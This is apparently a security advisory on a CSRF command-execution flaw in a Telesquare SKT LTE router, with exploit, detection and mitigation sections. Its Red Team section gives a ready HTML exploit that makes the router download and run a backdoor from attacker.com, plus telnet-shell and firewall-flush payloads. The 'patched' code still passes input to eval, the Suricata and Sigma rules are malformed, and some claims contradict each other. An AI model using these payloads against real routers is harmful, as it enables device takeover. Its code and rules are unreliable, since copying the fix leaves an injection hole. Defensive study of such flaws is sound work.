CVE-2017-20221

Executive Summary

CVE-2017-20221 is a critical Cross-Site Request Forgery (CSRF) vulnerability in the Telesquare SKT LTE Router SDT-CS3B1, version 1.2.0. The vulnerability allows authenticated attackers to execute arbitrary system commands by exploiting missing request validation. An attacker can craft a malicious web page that, when visited by an authenticated router administrator, triggers unauthorized administrative actions, leading to full command execution with router privileges. This can result in complete compromise of the router, enabling data exfiltration, network pivoting, or persistent backdoor installation. The vulnerability is publicly known, but no official patch has been released by the vendor, making affected devices highly susceptible to exploitation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Attacker does not need prior access.
• User Interaction: Required (UI:R) – Victim must click a malicious link or visit a crafted page.
• Scope: Unchanged (S:U) – Impact confined to the router.
• Confidentiality Impact: High (C:H) – Full read access to router data.
• Integrity Impact: High (I:H) – Full write access to router configuration.
• Availability Impact: High (A:H) – Potential denial of service or device bricking.

Threat Level: Critical. The combination of remote exploitability, low complexity, and high impact makes this a severe threat. The lack of a vendor patch means all devices running firmware version 1.2.0 are permanently vulnerable.

Deep Dive & Mechanics

The vulnerability resides in the web management interface of the Telesquare SKT LTE Router SDT-CS3B1. The router fails to implement CSRF tokens or other anti-forgery mechanisms in its administrative HTTP requests. This allows an attacker to forge requests that perform sensitive actions, such as changing system settings, executing commands, or modifying firewall rules.

Attack Flow:

1. The attacker identifies a target router with the vulnerable firmware.
2. The attacker crafts a malicious HTML page containing an auto-submitting form or an image tag that triggers a POST/GET request to the router's administrative endpoint (e.g., /cgi-bin/admin/exec_command).
3. The attacker lures an authenticated administrator (e.g., via phishing email or malicious ad) to visit the crafted page.
4. The victim's browser, having an active session with the router, sends the forged request with the victim's session cookies.
5. The router processes the request as legitimate, executing arbitrary system commands (e.g., wget, telnetd, reboot).

Root Cause: Missing CSRF protection in all administrative endpoints. The router does not validate the origin or referrer header, nor does it require a unique token per session.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware 1.2.0): The web server (likely a lightweight CGI-based system) does not check for CSRF tokens. Example of a vulnerable CGI script:

#!/bin/sh
# /cgi-bin/admin/exec_command
# No CSRF check
cmd=$QUERY_STRING
eval $cmd
echo "Command executed"

Patched Code (Hypothetical): A patched version would include a CSRF token check:

#!/bin/sh
# /cgi-bin/admin/exec_command
# CSRF token validation
token=$QUERY_STRING
if [ "$token" != "$(cat /tmp/csrf_token)" ]; then
    echo "CSRF token mismatch"
    exit 1
fi
cmd=$QUERY_STRING
eval $cmd
echo "Command executed"

Note: No official patch exists; this is a conceptual fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target router with firmware 1.2.0.
• An authenticated administrator session (victim).
• Network access to the victim's browser.

Exploit Steps:

1. Create a malicious HTML file (exploit.html):

<html>
<body>
<form action="http://<ROUTER_IP>/cgi-bin/admin/exec_command" method="POST">
<input type="hidden" name="cmd" value="wget http://attacker.com/backdoor.sh -O /tmp/backdoor.sh && sh /tmp/backdoor.sh">
<input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

2. Host the file on an attacker-controlled server.
3. Send the link to the victim (e.g., via email).
4. When the victim clicks, the router executes the command, downloading and running a backdoor.

Alternative Payloads:

• reboot – Denial of service.
• telnetd -l /bin/sh – Enable telnet backdoor.
• iptables -F – Disable firewall.

Blue Team (Defensive)

Detection:

• Monitor for unusual HTTP requests to administrative endpoints from external IPs.
• Look for Referer headers that do not match the router's domain.
• Alert on commands like wget, curl, telnetd, or reboot in HTTP POST bodies.

Prevention:

• Disable remote administration if not needed.
• Use a VPN to access the router management interface.
• Implement network segmentation to isolate the router.
• Apply strict Content Security Policy (CSP) headers if possible.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /cgi-bin/admin/exec_command with suspicious payloads.
  • Outbound connections from the router to unknown IPs (e.g., wget to attacker server).
  • Unusual Referer headers in administrative requests.

• Host IOCs:

  • Unexpected files in /tmp/ (e.g., backdoor.sh).
  • Running processes like telnetd or nc (netcat).
  • Modified firewall rules (iptables -L shows unexpected changes).

• Log IOCs:

  • Router logs showing commands executed via CGI without prior authentication.
  • Repeated failed login attempts followed by successful command execution.

Detection Engineering

YARA Rule

rule CVE_2017_20221_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against Telesquare SDT-CS3B1 router"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2017-20221"
    strings:
        $cmd1 = "exec_command" ascii wide nocase
        $cmd2 = "wget" ascii wide nocase
        $cmd3 = "telnetd" ascii wide nocase
        $cmd4 = "reboot" ascii wide nocase
    condition:
        any of ($cmd*) and filesize < 10KB
}

Sigma Rule

title: CVE-2017-20221 CSRF Exploit Against Telesquare Router
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to the vulnerable CGI endpoint with command injection payloads.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/cgi-bin/admin/exec_command'
        cs-user-agent|contains: 'Mozilla'
    condition: selection
falsepositives:
    - Legitimate administrative actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2017-20221 CSRF Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/admin/exec_command"; http_uri; content:"wget"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Administration: If not required, disable the web management interface from the WAN side.
2. Network Segmentation: Place the router in a separate VLAN with strict access controls.
3. Use VPN: Only allow administrative access via a secure VPN tunnel.
4. Monitor Logs: Enable logging and monitor for suspicious activity.

Long-Term Fix:

• Vendor Patch: Contact Telesquare for a firmware update. If unavailable, consider replacing the device with a supported alternative.
• Custom Firewall Rule: Block all HTTP POST requests to /cgi-bin/admin/exec_command from untrusted sources.
• Web Application Firewall (WAF): Deploy a WAF to inspect and block CSRF-like requests.

Workaround:

• Implement a reverse proxy that adds CSRF tokens to all requests to the router.

Valters IT